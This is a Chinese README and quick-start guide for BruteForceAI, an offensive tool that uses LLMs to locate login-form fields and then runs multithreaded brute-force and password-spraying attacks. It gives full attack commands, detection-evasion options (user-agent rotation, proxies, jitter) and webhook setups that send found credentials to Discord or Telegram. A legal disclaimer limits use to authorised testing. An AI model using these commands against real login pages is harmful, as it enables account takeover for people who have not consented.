🤖 BruteForceAI - 基于人工智能的登录暴力破解工具

---

🎯 关于

BruteForceAI 是一款先进的渗透测试工具，通过集成大型语言模型（LLM）进行智能表单分析，彻底革新了传统的暴力破解攻击。该工具能够自动利用 AI 识别登录表单的选择器，然后以类人行为模式执行复杂的多线程攻击。

🧠 LLM 驱动的表单分析

• 阶段 1（AI 分析）：LLM 分析 HTML 内容以识别登录表单元素和选择器
• 阶段 2（智能攻击）：使用 AI 发现的选择器执行智能暴力破解攻击

🚀 高级攻击特性

• 多线程执行并带有同步延迟
• 暴力破解与密码喷洒两种攻击模式
• 类人定时机制，包含抖动和随机化
• User-Agent 轮换，以更好地规避检测
• Webhook 通知（Discord、Slack、Teams、Telegram）
• 全面的日志记录，采用 SQLite 数据库

---

🌟 星标历史

---

✨ 功能

🔍 智能分析

• LLM 驱动的表单选择器识别（Ollama/Groq）
• 自动重试并结合反馈学习
• DOM 变化检测用于成功验证
• 智能 HTML 内容提取

⚡ 高级攻击

• 暴力破解模式：尝试所有用户名/密码组合
• 密码喷洒模式：对每个密码测试所有用户名
• 多线程执行（1–100+ 线程）
• 同一用户尝试之间的同步延迟

🎭 规避技术

• 随机 User-Agent 轮换
• 可配置的带抖动延迟
• 类人定时模式
• 支持代理
• 浏览器可见性控制

📊 监控与通知

• 实时 Webhook 通知成功事件
• 全面的 SQLite 日志记录
• 详细的时间戳输出
• 第一组有效凭据出现后即退出
• 跳过已存在的尝试（防止重复）

🛠️ 操作特性

• 输出可捕获到文件
• 彩色终端界面
• 网络错误重试机制
• 强制重试现有尝试
• 数据库管理工具
• 自动检查更新，从 mordavid.com 获取

---

🔧 安装

先决条件

# Python 3.8 或更高版本
python --version

# 安装 Playwright 浏览器
playwright install chromium

安装依赖

pip install -r requirements.txt

所需包：

• playwright - 浏览器自动化
• requests - HTTP 请求
• PyYAML - YAML 解析，用于检查更新

LLM 设置

选项 1：Ollama（本地）

# 安装 Ollama
curl -fsSL https://ollama.ai/install.sh | sh

# 拉取推荐模型
ollama pull llama3.2:3b

选项 2：Groq（云端）

1. 从 Groq 控制台 获取 API 密钥
2. 使用时指定 --llm-provider groq --llm-api-key YOUR_KEY

🧠 模型选择与性能

推荐模型按提供商划分

Ollama（本地）：

• llama3.2:3b - 默认，速度与质量平衡良好
• llama3.2:1b - 最快，小型模型适合快速分析
• qwen2.5:3b - 替代方案，性能不错

Groq（云端）：

• llama-3.3-70b-versatile - 默认且最佳 - 最新模型，质量卓越（1 次尝试）
• llama3-70b-8192 - 快速可靠的替代方案（1 次尝试）
• gemma2-9b-it - 轻量级选项，适用于简单表单（1 次尝试）
• llama-3.1-8b-instant - ⚠️ 不推荐（限流问题，需 3 次以上尝试）

性能提示

# 最佳质量（推荐用于复杂表单）
python main.py analyze --urls targets.txt --llm-provider groq --llm-model llama-3.3-70b-versatile --llm-api-key YOUR_KEY

# 快速可靠
python main.py analyze --urls targets.txt --llm-provider groq --llm-model llama3-70b-8192 --llm-api-key YOUR_KEY

# 轻量级，适用于简单表单
python main.py analyze --urls targets.txt --llm-provider groq --llm-model gemma2-9b-it --llm-api-key YOUR_KEY

# 本地处理（无需 API 密钥）
python main.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b

---

📖 使用方法

基本命令

阶段 1：分析登录表单

python main.py analyze --urls urls.txt --llm-provider ollama

阶段 2：执行攻击

python main.py attack --urls urls.txt --usernames users.txt --passwords passwords.txt --threads 10

命令结构

python main.py <命令> [选项]

可用命令

• analyze - 使用 LLM 分析登录表单
• attack - 执行暴力破解攻击
• clean-db - 清理数据库表
• check-updates - 检查软件更新

---

🎯 示例

1. 完整工作流程

# 步骤 1：分析表单
python main.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b

# 步骤 2：以 20 个线程进行攻击
python main.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --threads 20 --delay 5 --jitter 2

2. 高级攻击配置

python main.py attack \
  --urls targets.txt \
  --usernames users.txt \
  --passwords passwords.txt \
  --mode passwordspray \
  --threads 15 \
  --delay 10 \
  --jitter 3 \
  --success-exit \
  --user-agents user_agents.txt \
  --verbose \
  --output results.txt

3. 带 Webhook 通知

python main.py attack \
  --urls targets.txt \
  --usernames users.txt \
  --passwords passwords.txt \
  --discord-webhook "https://discord.com/api/webhooks/..." \
  --slack-webhook "https://hooks.slack.com/services/..." \
  --threads 10

4. 浏览器调试

python main.py analyze \
  --urls targets.txt \
  --show-browser \
  --browser-wait 5 \
  --debug \
  --llm-provider ollama

5. 检查更新

# 检查软件更新
python main.py check-updates

# 将结果输出到文件
python main.py check-updates --output update_check.txt

手动检查（详细）

# 手动检查更新（与自动检查相同，但可保存到文件）
python main.py check-updates

# 将结果输出到文件
python main.py check-updates --output update_check.txt

跳过版本检查

# 完全跳过版本检查以加快启动速度
python main.py analyze --urls targets.txt --skip-version-check
python main.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --skip-version-check

# 也可以作为全局标志（在子命令之前使用）
python main.py --skip-version-check analyze --urls targets.txt

---

⚙️ 配置选项

分析选项

参数	描述	默认值
--llm-provider	LLM 提供商（ollama/groq）	ollama
--llm-model	模型名称	llama3.2:3b (ollama), llama-3.3-70b-versatile (groq)
--llm-api-key	Groq 的 API 密钥	无
--selector-retry	选择器重试次数	10
--force-reanalyze	强制重新分析	False

攻击选项

参数	描述	默认值
--mode	攻击模式（暴力破解/密码喷洒）	暴力破解
--threads	线程数	1
--delay	尝试之间的延迟（秒）	0
--jitter	随机抖动（秒）	0
--success-exit	第一次成功后停止	False
--force-retry	重试现有尝试	False

检测选项

参数	描述	默认值
--dom-threshold	DOM 差异阈值	100
--retry-attempts	网络重试次数	3

避免检测选项

参数	描述	默认值
--user-agents	User-Agent 文件	无
--proxy	代理服务器	无
--show-browser	显示浏览器窗口	False
--browser-wait	可见时的等待时间	0

输出选项

参数	描述	默认值
--verbose	详细的时间戳	False
--debug	调试信息	False
--output	将输出保存到文件	无
--no-color	禁用颜色	False

Webhook 选项

参数	描述
--discord-webhook	Discord webhook URL
--slack-webhook	Slack webhook URL
--teams-webhook	Teams webhook URL
--telegram-webhook	Telegram bot token
--telegram-chat-id	Telegram chat ID

🔄 更新管理

BruteForceAI 包含简单的更新检查功能，以便让您及时了解新版本。

自动检查

• 每次工具启动时都会检查更新
• 显示一行状态：要么是“✅ 已更新”，要么是“🔄 有可用更新”
• 快速 3 秒超时——不会造成延迟
• 静默处理网络故障（不显示错误消息）
• 可跳过：使用 --skip-version-check 标志

手动检查（详细）

# 手动检查更新（与自动检查相同，但可以保存到文件）
python main.py check-updates

# 带输出到文件的检查
python main.py check-updates --output update_check.txt

更新信息

• 已更新：✅ BruteForceAI v1.0.0 已更新
• 有更新：🔄 有更新：v1.0.0 → v1.1.0 | 下载：https://github.com/...

性能

• 超时：最多 3 秒
• 无延迟：如果网络不可用则立即完成
• 无冗余信息：每次检查只显示一行简单信息

版本来源

更新会从以下地址检查：https://mordavid.com/md_versions.yaml

---

🗄️ 数据库架构

BruteForceAI 使用 SQLite 数据库 (bruteforce.db)，包含两个主要表：

form_analysis

存储每个 URL 的 LLM 分析结果。

brute_force_attempts

记录所有攻击尝试及其结果和元数据。

数据库管理

# 清除所有数据
python main.py clean-db

# 查看数据库
sqlite3 bruteforce.db
.tables
.schema

---

🔔 Webhook 集成

Discord 设置

1. 在 Discord 服务器设置中创建 webhook
2. 使用 --discord-webhook 参数输入 webhook URL

Slack 设置

1. 创建具有入站 webhook 的 Slack 应用程序
2. 使用 --slack-webhook 参数输入 webhook URL

Teams 设置

1. 向 Teams 频道添加“入站 Webhook”连接器
2. 使用 --teams-webhook 参数输入 webhook URL

Telegram 设置

1. 使用 @BotFather 创建机器人
2. 获取机器人令牌和聊天 ID
3. 使用 --telegram-webhook TOKEN --telegram-chat-id CHAT_ID

---

⚠️ 法律声明

仅用于教育和授权测试

本工具专为以下用途设计：

• ✅ 授权渗透测试
• ✅ 安全研究和教育
• ✅ 测试您自己的应用程序
• ✅ 具有适当范围的漏洞赏金计划

请勿用于：

• ❌ 未经授权访问系统
• ❌ 非法活动
• ❌ 未经许可攻击系统

用户有责任遵守所有适用的法律和法规。作者对本工具的滥用不承担任何责任。

---

📋 更改日志

v1.0.0（当前版本）

• ✨ 初始发布
• 🧠 基于 LLM 的表单分析
• ⚡ 多线程攻击
• 🎭 先进的规避技术
• 🔔 Webhook 通知
• 📊 全面的日志记录
• 🔄 自动更新检查

---

👨‍💻 关于作者

Mor David - 攻击性安全专家及 AI 安全研究员

我专注于攻击性安全，并将人工智能和**大型语言模型（LLM）**融入渗透测试工作流程。我的专长结合了传统的红队技术与前沿的 AI 技术，以开发下一代安全工具。

🔗 与我联系

• LinkedIn: linkedin.com/in/mor-david-cyber
• 网站: www.mordavid.com

🛡️ RootSec 社区

加入我们的网络安全社区，获取最新的攻击性安全、AI 集成和高级渗透测试技术：

🔗 t.me/root_sec

RootSec 是一个由安全专业人士、研究人员和爱好者组成的社区，分享关于以下内容的知识：

• 高级渗透测试技术
• 基于 AI 的安全工具
• 红队方法论
• 安全研究与开发
• 行业见解和讨论

---

📄 许可证

本项目采用非商业许可。

条款摘要：

• ✅ 允许：个人使用、教育、研究、授权测试
• ❌ 禁止：商业用途、盈利性再分发、未经授权的攻击
• 📋 要求：署名、衍生作品需采用相同许可证

完整条款和条件请参阅 LICENSE.md 文件。

---

🙏 致谢

• Playwright 团队 - 感谢他们出色的浏览器自动化框架
• Ollama 项目 - 感谢他们让本地部署 LLM 变得易于实现
• Groq - 感谢他们提供的高性能 LLM 推理能力
• 安全社区 - 感谢大家持续的反馈和改进

---

📊 统计数据

---

BruteForceAI 快速上手指南

BruteForceAI 是一款结合大语言模型（LLM）智能分析与自动化攻击的高级渗透测试工具。它能自动识别登录表单选择器，并执行具备拟人化行为特征的多线程暴力破解或密码喷洒攻击。

⚠️ 法律免责声明：本工具仅限用于授权的安全测试、教育研究及自有系统检测。严禁用于非法入侵或未授权的攻击活动。

1. 环境准备

系统要求

• 操作系统：Linux, macOS, Windows
• Python 版本：3.8 或更高
• 浏览器内核：Chromium (由 Playwright 自动管理)

前置依赖

确保已安装 Python 和 pip。

2. 安装步骤

第一步：安装 Python 依赖

pip install -r requirements.txt

第二步：安装 Playwright 浏览器内核

playwright install chromium

第三步：配置 LLM 引擎（二选一）

BruteForceAI 需要 LLM 来分析网页表单，支持本地部署或云端 API。

方案 A：本地部署 (推荐国内用户，无需联网密钥)

使用 Ollama 运行本地模型：

# 安装 Ollama (Linux/macOS)
curl -fsSL https://ollama.ai/install.sh | sh

# 拉取推荐模型 (llama3.2:3b)
ollama pull llama3.2:3b

注：国内用户若下载缓慢，可参考 Ollama 国内镜像站或使用代理加速。

方案 B：云端 API (Groq)

1. 访问 Groq Console 获取 API Key。
2. 使用时通过参数 --llm-api-key 传入。

3. 基本使用

工作流程分为两个阶段：智能分析 和 执行攻击。

阶段一：分析登录表单

让 AI 自动识别目标 URL 中的用户名和密码输入框选择器。

# 使用本地 Ollama 模型进行分析
python main.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b

targets.txt 文件中每行包含一个待测试的登录页面 URL。

阶段二：执行暴力破解

使用分析结果进行多线程攻击。

# 基础攻击命令：10 个线程，使用指定的用户名字典和密码字典
python main.py attack \
  --urls targets.txt \
  --usernames users.txt \
  --passwords passwords.txt \
  --threads 10

进阶示例：密码喷洒 + 通知

执行密码喷洒模式（每个密码试所有用户），并在成功时发送 Discord 通知。

python main.py attack \
  --urls targets.txt \
  --usernames users.txt \
  --passwords passwords.txt \
  --mode passwordspray \
  --threads 15 \
  --delay 5 \
  --jitter 2 \
  --discord-webhook "https://discord.com/api/webhooks/YOUR_WEBHOOK_URL"

常用参数说明

参数	说明
--threads	并发线程数 (1-100+)
--delay	每次尝试间的延迟 (秒)，用于规避防护
--jitter	随机抖动时间 (秒)，模拟人类操作
--mode	攻击模式：bruteforce (爆破) 或 passwordspray (喷洒)
--show-browser	显示浏览器窗口，用于调试
--skip-version-check	跳过启动时的版本检查，加快启动速度